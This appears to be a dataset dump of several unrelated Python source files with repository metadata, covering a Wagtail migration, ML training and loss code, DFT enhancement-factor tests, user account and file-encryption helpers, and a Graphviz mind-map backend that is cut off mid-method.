3411f5389305082b1750729cc8d9ca2b0b1a5f11 | 529 | py | Python | home/migrations/0010_auto_20190604_1147.py | xni06/wagtail-CMS | defe0f46e8109e96d6d5e9fd4cf002790fbcd54b | [
"MIT"
] | 4 | 2019-06-04T07:18:44.000Z | 2020-06-15T22:27:36.000Z | home/migrations/0010_auto_20190604_1147.py | jaspotsangbam/wagtail-CMS | 2ec0dd05ba1f9339b705ce529588131049aa9bc7 | [
"MIT"
] | 38 | 2019-05-09T13:14:56.000Z | 2022-03-12T00:54:57.000Z | home/migrations/0010_auto_20190604_1147.py | jaspotsangbam/wagtail-CMS | 2ec0dd05ba1f9339b705ce529588131049aa9bc7 | [
"MIT"
] | 3 | 2019-09-26T14:32:36.000Z | 2021-05-06T15:48:01.000Z | # Generated by Django 2.1.8 on 2019-06-04 11:47
from django.db import migrations
import wagtail.core.blocks
import wagtail.core.fields
class Migration(migrations.Migration):
dependencies = [
('home', '0009_homepage_header'),
]
operations = [
migrations.AlterField(
model_name='homepage',
name='links',
field=wagtail.core.fields.StreamField([('link', wagtail.core.blocks.PageChooserBlock()), ('link_header', wagtail.core.blocks.TextBlock())]),
),
]
| 25.190476 | 152 | 0.644612 | 390 | 0.73724 | 0 | 0 | 0 | 0 | 0 | 0 | 111 | 0.20983 |
341242d2d6fcab480644d8108b064807d2fc4019 | 428 | py | Python | evaluation/read_mat.py | JACKYLUO1991/DCBNet | b797584b66ad99fe984f58268befb12ec60ccfae | [
"MIT"
] | 6 | 2021-06-14T15:23:59.000Z | 2022-01-19T12:29:20.000Z | evaluation/read_mat.py | JACKYLUO1991/DCBANet | b797584b66ad99fe984f58268befb12ec60ccfae | [
"MIT"
] | 1 | 2021-06-03T08:08:20.000Z | 2021-06-09T17:24:54.000Z | evaluation/read_mat.py | JACKYLUO1991/DCBANet | b797584b66ad99fe984f58268befb12ec60ccfae | [
"MIT"
] | 1 | 2020-09-19T17:13:36.000Z | 2020-09-19T17:13:36.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2020/9/16 13:23
# @Author : JackyLUO
# @E-mail : lingluo@stumail.neu.edu.cn
# @Site :
# @File : read_mat.py
# @Software: PyCharm
import pandas as pd
import scipy.io as scio
dataFile = "roc_curves/CUHKMED/roc_curve.mat"
data = scio.loadmat(dataFile)
fpr = data['fpr'][0]
tpr = data['tpr'][0]
df = pd.DataFrame({'FPR': fpr, 'TPR': tpr})
df.to_csv("res.csv")
| 20.380952 | 45 | 0.630841 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 252 | 0.588785 |
3413470e123bef13f5fc45dc318d08068d414db7 | 1,487 | py | Python | src/clm/views/user/message.py | cc1-cloud/cc1 | 8113673fa13b6fe195cea99dedab9616aeca3ae8 | [
"Apache-2.0"
] | 11 | 2015-05-06T14:16:54.000Z | 2022-02-08T23:21:31.000Z | src/clm/views/user/message.py | fortress-shell/cc1 | 8113673fa13b6fe195cea99dedab9616aeca3ae8 | [
"Apache-2.0"
] | 1 | 2015-10-30T21:08:11.000Z | 2015-10-30T21:08:11.000Z | src/clm/views/user/message.py | fortress-shell/cc1 | 8113673fa13b6fe195cea99dedab9616aeca3ae8 | [
"Apache-2.0"
] | 5 | 2016-02-12T22:01:38.000Z | 2021-12-06T16:56:54.000Z | # -*- coding: utf-8 -*-
# @COPYRIGHT_begin
#
# Copyright [2010-2014] Institute of Nuclear Physics PAN, Krakow, Poland
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @COPYRIGHT_end
"""@package src.clm.views.user.message
@alldecoratedby{src.clm.utils.decorators.user_log}
"""
from clm.models.message import Message
from clm.utils.decorators import user_log
from clm.utils.exception import CLMException
@user_log(log=True)
def delete(cm_id, caller_id, message_id):
"""
Deletes specified Message.
@clmview_user
@param_post{message_id,int} id of the message to delete
"""
m = Message.get(message_id)
try:
m.delete()
except:
raise CLMException('message_delete')
@user_log(log=False)
def get_list(cm_id, caller_id):
"""
Returns list of caller's messages.
@clmview_user
@response{list(dict)} dicts describing caller's messages
"""
return [m.dict for m in Message.objects.filter(user_id=caller_id)]
| 28.056604 | 77 | 0.717552 | 0 | 0 | 0 | 0 | 562 | 0.377942 | 0 | 0 | 1,039 | 0.698722 |
3414b567571ba9fec00a916eb601f4d6648a9a43 | 483 | py | Python | src/Models/loss.py | HomerW/CSGNet | 4ecc7f3e836867118dba3d5f220ed5e74a536b93 | [
"MIT"
] | null | null | null | src/Models/loss.py | HomerW/CSGNet | 4ecc7f3e836867118dba3d5f220ed5e74a536b93 | [
"MIT"
] | null | null | null | src/Models/loss.py | HomerW/CSGNet | 4ecc7f3e836867118dba3d5f220ed5e74a536b93 | [
"MIT"
] | null | null | null | import torch
import torch.nn as nn
from torch.autograd import Variable
nllloss = nn.NLLLoss()
def losses_joint(out, labels, time_steps: int):
"""
Defines loss
:param out: output from the network
:param labels: Ground truth labels
:param time_steps: Length of the program
:return loss: Sum of categorical losses
"""
loss = Variable(torch.zeros(1)).cuda()
for i in range(time_steps):
loss += nllloss(out[i], labels[:, i])
return loss
| 24.15 | 47 | 0.670807 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 196 | 0.405797 |
3416177656664c60560be373002646f832de5c2d | 213 | py | Python | Curso/123.py | Rivelton/Python_Project1 | c59add0ca483a459b7a046f595d3526a130107bc | [
"MIT"
] | null | null | null | Curso/123.py | Rivelton/Python_Project1 | c59add0ca483a459b7a046f595d3526a130107bc | [
"MIT"
] | null | null | null | Curso/123.py | Rivelton/Python_Project1 | c59add0ca483a459b7a046f595d3526a130107bc | [
"MIT"
] | null | null | null | def funcao1 (a, b):
mult= a * b
return mult
def funcao2 (a, b):
divi = a / b
return divi
multiplicacao = funcao1(3, 2)
valor = funcao2(multiplicacao, 2)
print(multiplicacao)
print(int(valor))
| 13.3125 | 33 | 0.633803 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
341992e655fa9e12da06954d9bcf76629349ea0e | 3,644 | py | Python | rl-ros-agents/scripts/training/train_dqn.py | FranklinBF/arena2D | 5dce3f0c41cce94691bbc9ca4f6ded124de61030 | [
"MIT"
] | 18 | 2020-08-02T07:25:24.000Z | 2022-01-06T08:53:00.000Z | rl-ros-agents/scripts/training/train_dqn.py | FranklinBF/arena2D | 5dce3f0c41cce94691bbc9ca4f6ded124de61030 | [
"MIT"
] | 4 | 2020-09-28T20:42:00.000Z | 2020-10-10T01:41:43.000Z | rl-ros-agents/scripts/training/train_dqn.py | Sirupli/arena2D | 2214754fe8e9358fa8065be5187d73104949dc4f | [
"MIT"
] | 18 | 2020-08-15T19:37:48.000Z | 2022-03-21T17:58:39.000Z | import rospy
from stable_baselines.common.vec_env import SubprocVecEnv
from rl_ros_agents.env_wappers.arena2dEnv import get_arena_envs, Arena2dEnvWrapper
from rl_ros_agents.utils.callbacks import SaveOnBestTrainingRewardCallback
from rl_ros_agents.utils import getTimeStr
from stable_baselines import DQN
from stable_baselines.common.policies import MlpLstmPolicy, FeedForwardPolicy
from stable_baselines.deepq.policies import MlpPolicy
from stable_baselines.bench import Monitor
import tensorflow as tf
import random
import numpy as np
import os
import sys
import argparse
# disable tensorflow deprecated information
tf.compat.v1.logging.set_verbosity(tf.compat.v1.logging.ERROR)
LOGDIR = None
GAMMA = 0.95
LEARNING_RATE = 0.00025
BUFFER_SIZE = 1000000
SYNC_TARGET_STEPS = 2000
N_STEPS = 4
MAX_GRAD_NORM = 0.1
BATCH_SIZE = 64
TIME_STEPS = int(1e8)
REWARD_BOUND = 130
class CustomPolicy(FeedForwardPolicy):
def __init__(self, *args, **kwargs):
super(CustomPolicy, self).__init__(*args, **kwargs,
net_arch=[64, 64, 64],
act_fun=tf.nn.relu,
feature_extraction="mlp")
def main(log_dir=None, name_results_root_folder="results"):
args = parseArgs()
time_steps = TIME_STEPS
# if log_dir doesnt created,use defaul one which contains the starting time of the training.
if log_dir is None:
if args.restart_training:
# find the latest training folder
latest_log_dir = os.path.join(name_results_root_folder, sorted(os.listdir(name_results_root_folder))[-1])
logdir = latest_log_dir
else:
defaul_log_dir = os.path.join(name_results_root_folder, "DQN_" + getTimeStr())
os.makedirs(defaul_log_dir, exist_ok=True)
logdir = defaul_log_dir
else:
logdir = log_dir
reward_bound = REWARD_BOUND
# get arena environments and custom callback
env = Monitor(Arena2dEnvWrapper(0, True), os.path.join(logdir, "arena_env0"))
# env = Arena2dEnvWrapper(0, True)
call_back = SaveOnBestTrainingRewardCallback(500, logdir, 1, reward_bound)
# set temporary model path, if training was interrupted by the keyboard, the current model parameters will be saved.
path_temp_model = os.path.join(logdir, "DQN_TEMP")
if not args.restart_training:
model = DQN(MlpPolicy, env, gamma=GAMMA, learning_rate=LEARNING_RATE,
buffer_size=BUFFER_SIZE, target_network_update_freq=SYNC_TARGET_STEPS,tensorboard_log=logdir,verbose=1)
reset_num_timesteps = True
else:
if os.path.exists(path_temp_model+".zip"):
print("continue training the model...")
model = DQN.load(path_temp_model, env=env)
reset_num_timesteps = False
else:
print("Can't load the model with the path: {}, please check again!".format(path_temp_model))
env.close()
exit(-1)
# try:
model.learn(time_steps, log_interval=200, callback=call_back, reset_num_timesteps=reset_num_timesteps)
model.save(os.path.join(logdir, "DQN_final"))
# except KeyboardInterrupt:
# model.save(path_temp_model)
# print("KeyboardInterrupt: saved the current model to {}".format(path_temp_model))
# finally:
# env.close()
# exit(0)
def parseArgs():
parser = argparse.ArgumentParser()
parser.add_argument("-r", "--restart_training", action="store_true", help="restart the latest unfinished training")
return parser.parse_args()
if __name__ == "__main__":
main()
| 38.357895 | 123 | 0.69539 | 337 | 0.092481 | 0 | 0 | 0 | 0 | 0 | 0 | 793 | 0.217618 |
341b8abe8d9d5f16043f17419ff87aa397d65daa | 2,681 | py | Python | src/crud/user.py | JuanFKurucz/proyecto-seguridad | feb805c785afc57de19244e7916f232d3798a768 | [
"MIT"
] | null | null | null | src/crud/user.py | JuanFKurucz/proyecto-seguridad | feb805c785afc57de19244e7916f232d3798a768 | [
"MIT"
] | null | null | null | src/crud/user.py | JuanFKurucz/proyecto-seguridad | feb805c785afc57de19244e7916f232d3798a768 | [
"MIT"
] | null | null | null | import os
from datetime import datetime, timedelta
from src.database.models.user import User # noqa
from src.database.models.file import File # noqa
from src.database.session import db_session # noqa
from src.utils.hash import hash_pass
from sqlalchemy.orm.exc import NoResultFound
from src.utils.cipher import encrypt_file, decrypt_file
from src.utils.hash import hash_md5, generate_token
from src.utils.mail_sender import send_mail_login
def create_user(username, email, password):
user = User(username=username, email=email, hashed_password=hash_pass(username, password))
try:
db_session.add(user)
db_session.commit()
db_session.flush()
return user
except:
db_session.rollback()
return None
def connect_user(username, password):
user = db_session.query(User).filter(User.username == username).first()
if user and user.check_password(password=password):
user.login_token = str(generate_token())
user.login_token_expiration = (datetime.now() + timedelta(minutes=5)).timestamp()
db_session.add(user)
db_session.commit()
db_session.flush()
send_mail_login(str(user.email), user.login_token)
return user
return None
def encrypt_user_file(user, path, key):
if not key:
print("Error: se debe ingresar una clave")
return
if not path:
print("Error: se debe ingresar una ruta de archivo")
return
nonce, ciphertext, mac = encrypt_file(hash_md5(key).encode("utf8"), path)
if not ciphertext:
print("Error al encriptar el archivo, puede que el archivo que quiera encriptar este vacio")
return
user.files.append(
File(name=os.path.basename(path), encrypted_file=ciphertext, nonce=nonce, mac=mac)
)
db_session.commit()
def decrypt_user_file(user, file_id, path, key):
if not path:
print("No se especifico una ruta de archivo para guadar")
return
try:
decrypt_file(
hash_md5(key).encode("utf8"),
db_session.query(File).filter(File.id == file_id).one(),
path,
)
except NoResultFound:
print("El archivo no existe")
except Exception:
print("Error inesperado")
def check_token_user(user, token):
if user.login_token and user.login_token_expiration:
date = datetime.fromtimestamp(user.login_token_expiration)
if (date - datetime.now()).total_seconds() > 0:
if user.login_token == token:
return True
else:
print("Token invaldo")
else:
print("Token expirado")
return False
| 31.174419 | 100 | 0.664677 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 316 | 0.117866 |
341e2f492c444f7a15060ea7f44584d28a341234 | 17,030 | py | Python | symbolic_functionals/syfes/symbolic/enhancement_factors_test.py | shaun95/google-research | d41bbaca1eb9bfd980ec2b3fd201c3ddb4d1f2e5 | [
"Apache-2.0"
] | 1 | 2022-03-19T04:26:12.000Z | 2022-03-19T04:26:12.000Z | symbolic_functionals/syfes/symbolic/enhancement_factors_test.py | shaun95/google-research | d41bbaca1eb9bfd980ec2b3fd201c3ddb4d1f2e5 | [
"Apache-2.0"
] | null | null | null | symbolic_functionals/syfes/symbolic/enhancement_factors_test.py | shaun95/google-research | d41bbaca1eb9bfd980ec2b3fd201c3ddb4d1f2e5 | [
"Apache-2.0"
] | 1 | 2022-03-30T07:20:29.000Z | 2022-03-30T07:20:29.000Z | # coding=utf-8
# Copyright 2022 The Google Research Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Tests for symbolic.enhancement_factors."""
import copy
from absl.testing import absltest
from absl.testing import parameterized
import jax
import numpy as np
import sympy
from symbolic_functionals.syfes.symbolic import enhancement_factors
from symbolic_functionals.syfes.symbolic import instructions
from symbolic_functionals.syfes.xc import gga
from symbolic_functionals.syfes.xc import mgga
jax.config.update('jax_enable_x64', True)
class EnhancementFactorTest(parameterized.TestCase):
def setUp(self):
super().setUp()
self.num_features = 2
self.num_shared_parameters = 2
self.num_variables = 3
self.features = {
f'feature_{i}': np.random.rand(5) for i in range(self.num_features)
}
self.shared_parameters = {
f'shared_parameter_{i}': np.random.rand()
for i in range(self.num_shared_parameters)
}
self.bound_parameters = {'gamma_utransform': np.random.rand()}
self.parameters = {**self.shared_parameters, **self.bound_parameters}
self.variables = {
f'variable_{i}': np.zeros(5) for i in range(self.num_variables - 1)
}
self.variables.update({'enhancement_factor': np.zeros(5)})
self.enhancement_factor = enhancement_factors.EnhancementFactor(
feature_names=list(self.features.keys()),
shared_parameter_names=list(self.shared_parameters.keys()),
variable_names=list(self.variables.keys()),
instruction_list=[
instructions.MultiplicationInstruction(
'variable_0', 'feature_0', 'shared_parameter_0'),
instructions.AdditionInstruction(
'variable_1', 'feature_1', 'shared_parameter_1'),
instructions.AdditionInstruction(
'variable_1', 'variable_1', 'variable_0'),
instructions.Power2Instruction('enhancement_factor', 'variable_1'),
instructions.UTransformInstruction(
'enhancement_factor', 'enhancement_factor')
])
def test_constructor(self):
self.assertEqual(self.enhancement_factor.num_features, self.num_features)
self.assertEqual(self.enhancement_factor.num_parameters,
self.num_shared_parameters + 1) # 1 from UTransform
self.assertEqual(self.enhancement_factor.num_variables, self.num_variables)
def test_constructor_without_enhancement_factor_in_variable_names(self):
with self.assertRaisesRegex(
ValueError, '"enhancement_factor" not found in variable_names.'):
enhancement_factors.EnhancementFactor(
feature_names=[],
shared_parameter_names=[],
variable_names=[],
instruction_list=[])
def test_constructor_with_repeated_name(self):
with self.assertRaisesRegex(ValueError, 'Repeated names found in input.'):
enhancement_factors.EnhancementFactor(
feature_names=['var'],
shared_parameter_names=['var'],
variable_names=['enhancement_factor'],
instruction_list=[])
def test_constructor_with_wrong_instruction_type(self):
with self.assertRaisesRegex(
TypeError, r"1 is of type <class 'int'>, not an "
'instance of instructions.Instruction'):
enhancement_factors.EnhancementFactor(
feature_names=list(self.features.keys()),
shared_parameter_names=list(self.shared_parameters.keys()),
variable_names=list(self.variables.keys()),
instruction_list=[1])
@parameterized.parameters(
(instructions.Power2Instruction('variable_0', 'var'),
(r'Instruction variable_0 = var \*\* 2 contains invalid input argument '
'var')),
(instructions.AdditionInstruction('variable_0', 'shared_parameter_1',
'gamma_utransform'),
(r'Instruction variable_0 = shared_parameter_1 \+ gamma_utransform '
'contains invalid input argument gamma_utransform')),
)
def test_constructor_with_invalid_input(self, instruction, error_message):
with self.assertRaisesRegex(ValueError, error_message):
enhancement_factors.EnhancementFactor(
feature_names=list(self.features.keys()),
shared_parameter_names=list(self.shared_parameters.keys()),
variable_names=list(self.variables.keys()),
instruction_list=[instruction])
@parameterized.parameters(
(instructions.Power2Instruction('feature_0', 'shared_parameter_0'),
(r'Instruction feature_0 = shared_parameter_0 \*\* 2 contains '
'invalid output argument feature_0')),
(instructions.AdditionInstruction(
'feature_1', 'shared_parameter_1', 'variable_1'),
(r'Instruction feature_1 = shared_parameter_1 \+ variable_1 contains '
'invalid output argument feature_1')
),
(instructions.Power4Instruction(
'bound_parameter_1', 'shared_parameter_1'),
(r'Instruction bound_parameter_1 = shared_parameter_1 \*\* 4 contains '
'invalid output argument bound_parameter_1')
),
)
def test_constructor_with_invalid_output(self, instruction, error_message):
with self.assertRaisesRegex(ValueError, error_message):
enhancement_factors.EnhancementFactor(
feature_names=list(self.features.keys()),
shared_parameter_names=list(self.shared_parameters.keys()),
variable_names=list(self.variables.keys()),
instruction_list=[instruction])
@parameterized.parameters(False, True)
def test_eval(self, use_jax):
tmp = (
(self.features['feature_0'] * self.parameters['shared_parameter_0']) +
(self.features['feature_1'] + self.parameters['shared_parameter_1']))
tmp = self.parameters['gamma_utransform'] * tmp ** 2
expected_f = tmp / (1. + tmp)
f = self.enhancement_factor.eval(
self.features, self.parameters, use_jax=use_jax)
np.testing.assert_allclose(f, expected_f)
@parameterized.parameters(False, True)
def test_b97_u_enhancement_factor(self, use_jax):
gamma_x = 0.004
coeffs_x = 0.8094, 0.5073, 0.7481
x = np.random.rand(5)
u = gga.u_b97(x, gamma=gamma_x)
expected_f = gga.f_b97(x)
f = enhancement_factors.f_b97_u.eval(
features={'u': u},
parameters={
'c0': coeffs_x[0],
'c1': coeffs_x[1],
'c2': coeffs_x[2],
},
use_jax=use_jax)
np.testing.assert_allclose(f, expected_f)
@parameterized.parameters(False, True)
def test_b97_u_short_enhancement_factor(self, use_jax):
gamma_x = 0.004
coeffs_x = 0.8094, 0.5073, 0.7481
x = np.random.rand(5)
u = gga.u_b97(x, gamma=gamma_x)
expected_f = gga.f_b97(x)
f = enhancement_factors.f_b97_u_short.eval(
features={'u': u},
parameters={
'c0': coeffs_x[0],
'c1': coeffs_x[1],
'c2': coeffs_x[2],
},
use_jax=use_jax)
np.testing.assert_allclose(f, expected_f)
@parameterized.parameters(False, True)
def test_b97_x2_enhancement_factor(self, use_jax):
gamma_x = 0.004
coeffs_x = 0.8094, 0.5073, 0.7481
x = np.random.rand(5)
x2 = (1 / 2)**(-2 / 3) * x**2
expected_f = gga.f_b97(x)
f = enhancement_factors.f_b97_x2.eval(
features={'x2': x2},
parameters={
'c0': coeffs_x[0],
'c1': coeffs_x[1],
'c2': coeffs_x[2],
'gamma': gamma_x
},
use_jax=use_jax)
np.testing.assert_allclose(f, expected_f)
@parameterized.parameters(False, True)
def test_b97_x2_short_enhancement_factor(self, use_jax):
gamma_x = 0.004
coeffs_x = 0.8094, 0.5073, 0.7481
x = np.random.rand(5)
x2 = (1 / 2)**(-2 / 3) * x**2
expected_f = gga.f_b97(x)
f = enhancement_factors.f_b97_x2_short.eval(
features={'x2': x2},
parameters={
'c0': coeffs_x[0],
'c1': coeffs_x[1],
'c2': coeffs_x[2],
'gamma_utransform': gamma_x
},
use_jax=use_jax)
np.testing.assert_allclose(f, expected_f)
@parameterized.parameters(
(enhancement_factors.f_x_wb97mv,
enhancement_factors.f_css_wb97mv,
enhancement_factors.f_cos_wb97mv,
'gamma'),
(enhancement_factors.f_x_wb97mv_short,
enhancement_factors.f_css_wb97mv_short,
enhancement_factors.f_cos_wb97mv_short,
'gamma_utransform'),
)
def test_wb97mv_enhancement_factors(self,
f_x_wb97mv,
f_css_wb97mv,
f_cos_wb97mv,
gamma_key):
rho = np.random.rand(5)
x = np.random.rand(5)
tau = np.random.rand(5)
x2 = (1 / 2)**(-2 / 3) * x**2
t = mgga.get_mgga_t(rho, tau, polarized=False)
w = (t - 1) / (t + 1)
expected_f_x = mgga.f_b97m(
x, t, gamma=mgga.WB97MV_PARAMS['gamma_x'],
power_series=mgga.WB97MV_PARAMS['power_series_x'], polarized=False)
expected_f_css = mgga.f_b97m(
x, t, gamma=mgga.WB97MV_PARAMS['gamma_ss'],
power_series=mgga.WB97MV_PARAMS['power_series_ss'], polarized=False)
expected_f_cos = mgga.f_b97m(
x, t, gamma=mgga.WB97MV_PARAMS['gamma_os'],
power_series=mgga.WB97MV_PARAMS['power_series_os'], polarized=False)
f_x = f_x_wb97mv.eval(
features={'x2': x2, 'w': w},
parameters={
'c00': mgga.WB97MV_PARAMS['power_series_x'][0][2],
'c10': mgga.WB97MV_PARAMS['power_series_x'][1][2],
'c01': mgga.WB97MV_PARAMS['power_series_x'][2][2],
gamma_key: mgga.WB97MV_PARAMS['gamma_x']})
f_css = f_css_wb97mv.eval(
features={'x2': x2, 'w': w},
parameters={
'c00': mgga.WB97MV_PARAMS['power_series_ss'][0][2],
'c10': mgga.WB97MV_PARAMS['power_series_ss'][1][2],
'c20': mgga.WB97MV_PARAMS['power_series_ss'][2][2],
'c43': mgga.WB97MV_PARAMS['power_series_ss'][3][2],
'c04': mgga.WB97MV_PARAMS['power_series_ss'][4][2],
gamma_key: mgga.WB97MV_PARAMS['gamma_ss']})
f_cos = f_cos_wb97mv.eval(
features={'x2': x2, 'w': w},
parameters={
'c00': mgga.WB97MV_PARAMS['power_series_os'][0][2],
'c10': mgga.WB97MV_PARAMS['power_series_os'][1][2],
'c20': mgga.WB97MV_PARAMS['power_series_os'][2][2],
'c60': mgga.WB97MV_PARAMS['power_series_os'][3][2],
'c21': mgga.WB97MV_PARAMS['power_series_os'][4][2],
'c61': mgga.WB97MV_PARAMS['power_series_os'][5][2],
gamma_key: mgga.WB97MV_PARAMS['gamma_os']})
np.testing.assert_allclose(f_x, expected_f_x)
np.testing.assert_allclose(f_css, expected_f_css)
np.testing.assert_allclose(f_cos, expected_f_cos)
def test_convert_enhancement_factor_to_and_from_dict(self):
self.assertEqual(
self.enhancement_factor,
enhancement_factors.EnhancementFactor.from_dict(
self.enhancement_factor.to_dict()))
@parameterized.parameters(
enhancement_factors.f_empty,
enhancement_factors.f_lda,
enhancement_factors.f_b97_u,
enhancement_factors.f_b97_u_short,
enhancement_factors.f_b97_x2,
enhancement_factors.f_b97_x2_short,
enhancement_factors.f_x_wb97mv,
enhancement_factors.f_css_wb97mv,
enhancement_factors.f_cos_wb97mv,
enhancement_factors.f_x_wb97mv_short,
enhancement_factors.f_css_wb97mv_short,
enhancement_factors.f_cos_wb97mv_short,
)
def test_make_isomorphic_copy(self, enhancement_factor):
features = {
feature_name: np.random.rand(5)
for feature_name in enhancement_factor.feature_names
}
shared_parameters = {
parameter_name: np.random.rand()
for parameter_name in enhancement_factor.shared_parameter_names
}
renamed_shared_parameters = {
(enhancement_factor._isomorphic_copy_shared_parameter_prefix
+ str(index)): value
for index, value in enumerate(shared_parameters.values())
}
bound_parameters = {
parameter_name: np.random.rand()
for parameter_name in enhancement_factor.bound_parameter_names
}
enhancement_factor_copy = enhancement_factor.make_isomorphic_copy()
np.testing.assert_allclose(
enhancement_factor.eval(
features=features, parameters={
**shared_parameters, **bound_parameters}),
enhancement_factor_copy.eval(
features=features, parameters={
**renamed_shared_parameters, **bound_parameters})
)
def test_make_isomorphic_copy_of_f_x_wb97mv_short(self):
f_x_wb97mv_copy = enhancement_factors.f_x_wb97mv_short.make_isomorphic_copy(
feature_names=['rho', 'x2', 'w'],
num_shared_parameters=10,
num_variables=10)
self.assertEqual(f_x_wb97mv_copy.feature_names, ['rho', 'x2', 'w'])
self.assertEqual(f_x_wb97mv_copy.num_shared_parameters, 10)
self.assertEqual(
f_x_wb97mv_copy.shared_parameter_names,
[f_x_wb97mv_copy._isomorphic_copy_shared_parameter_prefix + str(index)
for index in range(10)])
self.assertEqual(
f_x_wb97mv_copy.variable_names,
[f_x_wb97mv_copy._isomorphic_copy_variable_prefix + str(index)
for index in range(9)] + ['enhancement_factor'])
def test_make_isomorphic_copy_enhancement_factor_variable_location(self):
f_x_wb97mv_shuffled = copy.deepcopy(enhancement_factors.f_x_wb97mv_short)
f_x_wb97mv_shuffled.variable_names.remove('enhancement_factor')
f_x_wb97mv_shuffled.variable_names.insert(
np.random.randint(len(f_x_wb97mv_shuffled.variable_names)),
'enhancement_factor')
self.assertEqual(
enhancement_factors.f_x_wb97mv_short.make_isomorphic_copy(),
f_x_wb97mv_shuffled.make_isomorphic_copy())
def test_make_isomorphic_copy_repeated_feature_names(self):
with self.assertRaisesRegex(
ValueError, 'Repeated feature names'):
enhancement_factors.f_b97_u.make_isomorphic_copy(
feature_names=['u', 'u'])
def test_make_isomorphic_copy_wrong_feature_names(self):
with self.assertRaisesRegex(
ValueError,
r"feature_names \['rho', 'x2'\] is not a superset of feature_names of "
r"current instance \['w', 'x2'\]"):
enhancement_factors.f_x_wb97mv.make_isomorphic_copy(
feature_names=['rho', 'x2'])
def test_make_isomorphic_copy_wrong_num_shared_parameters(self):
with self.assertRaisesRegex(
ValueError, 'num_shared_parameters 5 is smaller than '
'that of current instance 6'):
enhancement_factors.f_cos_wb97mv_short.make_isomorphic_copy(
num_shared_parameters=5)
def test_make_isomorphic_copy_wrong_num_variables(self):
with self.assertRaisesRegex(
ValueError, 'num_variables 3 is smaller than '
'that of current instance 5'):
enhancement_factors.f_cos_wb97mv_short.make_isomorphic_copy(
num_variables=3)
@parameterized.parameters(
(enhancement_factors.f_b97_u, 3),
(enhancement_factors.f_b97_u_short, 3),
(enhancement_factors.f_b97_x2, 4),
(enhancement_factors.f_b97_x2_short, 4),
(enhancement_factors.f_x_wb97mv_short, 4),)
def test_num_used_parameters(
self, enhancement_factor, expected_num_used_parameters):
self.assertEqual(enhancement_factor.num_used_parameters,
expected_num_used_parameters)
self.assertEqual(
enhancement_factor.make_isomorphic_copy(
num_shared_parameters=20).num_used_parameters,
expected_num_used_parameters)
def test_get_symbolic_expression(self):
c0, c1, c2, gamma, x = sympy.symbols(
'c0 c1 c2 gamma_utransform x')
self.assertEqual(
enhancement_factors.f_b97_x2_short.get_symbolic_expression(
latex=False, simplify=False),
(c0 + c1 * gamma * x ** 2 / (gamma * x ** 2 + 1.)
+ c2 * gamma ** 2 * x ** 4 / (gamma * x ** 2 + 1.) ** 2))
def test_get_symbolic_expression_latex(self):
self.assertEqual(
enhancement_factors.f_b97_x2_short.get_symbolic_expression(
latex=True, simplify=False),
r'c_{0} + \frac{c_{1} \gamma_{u} x^{2}}{\gamma_{u} x^{2} + 1.0} + '
r'\frac{c_{2} \gamma_{u}^{2} x^{4}}{\left(\gamma_{u} x^{2} + '
r'1.0\right)^{2}}')
if __name__ == '__main__':
absltest.main()
| 38.792711 | 80 | 0.669818 | 15,930 | 0.935408 | 0 | 0 | 9,507 | 0.55825 | 0 | 0 | 3,004 | 0.176395 |
341ebe71ad93bbea2ec0dff9463d963049755d6d | 87 | py | Python | tests/test_demo.py | nielsonf/hello_world | 90af4baa85900b3b5126b6dfc3031d3f2e149341 | [
"MIT"
] | null | null | null | tests/test_demo.py | nielsonf/hello_world | 90af4baa85900b3b5126b6dfc3031d3f2e149341 | [
"MIT"
] | null | null | null | tests/test_demo.py | nielsonf/hello_world | 90af4baa85900b3b5126b6dfc3031d3f2e149341 | [
"MIT"
] | null | null | null | import pytest
def test_cube():
from demo.demo import cube
assert cube(2) == 8
| 14.5 | 30 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
34201d3dfddf5ac6be1a5329fb80307bba79ff70 | 4,503 | py | Python | orglearn/mind_map/backend/graphviz.py | MatejKastak/orglearn | cf0b45f179018438508f5af6d9125675b5922c8c | [
"MIT"
] | 5 | 2020-01-28T21:50:50.000Z | 2021-08-13T08:30:00.000Z | orglearn/mind_map/backend/graphviz.py | MatejKastak/orglearn | cf0b45f179018438508f5af6d9125675b5922c8c | [
"MIT"
] | 29 | 2020-05-31T11:51:44.000Z | 2021-06-09T18:58:03.000Z | orglearn/mind_map/backend/graphviz.py | MatejKastak/orglearn | cf0b45f179018438508f5af6d9125675b5922c8c | [
"MIT"
] | null | null | null | import colour
import graphviz
from orglearn.mind_map.backend.backend import Backend
class Graphviz(Backend):
def __init__(self, *args, **kwargs):
self.ignore_shallow_tags = set(kwargs.get("ignore_shallow_tags_list", []))
self.ignore_tags = set(kwargs.get("ignore_tags_list", []))
self.base_color = colour.Color("green")
def convert(self, tree, stream, **kwargs):
# TODO: Maybe create heading from file name
# self.dot = graphviz.Digraph(comment='asd')
self.dot = graphviz.Digraph(comment="asd")
# self.dot.attr(size='6,6')
# self.dot.attr('graph', size='8.3,11.7!')
# self.dot.attr('graph', size='11.7,8.3!')
# self.dot.attr('graph', page='8.3,11.7!')
# self.dot.attr('graph', page='11.7,8.3!')
# self.dot.attr('graph', ratio='auto')
self.dot.attr("graph", ratio="scale")
self.dot.attr("graph", splines="spline")
self.dot.attr("node", shape="box")
self.dot.attr("graph", overlap="false")
self.dot.attr("edge", arrowhead="vee", arrowtail="vee", arrowsize="0.75")
# self.dot.attr('graph', mindist='5.0')
# self.dot.engine = "neato"
# self.dot.engine = "circo"
self.dot.engine = "fdp"
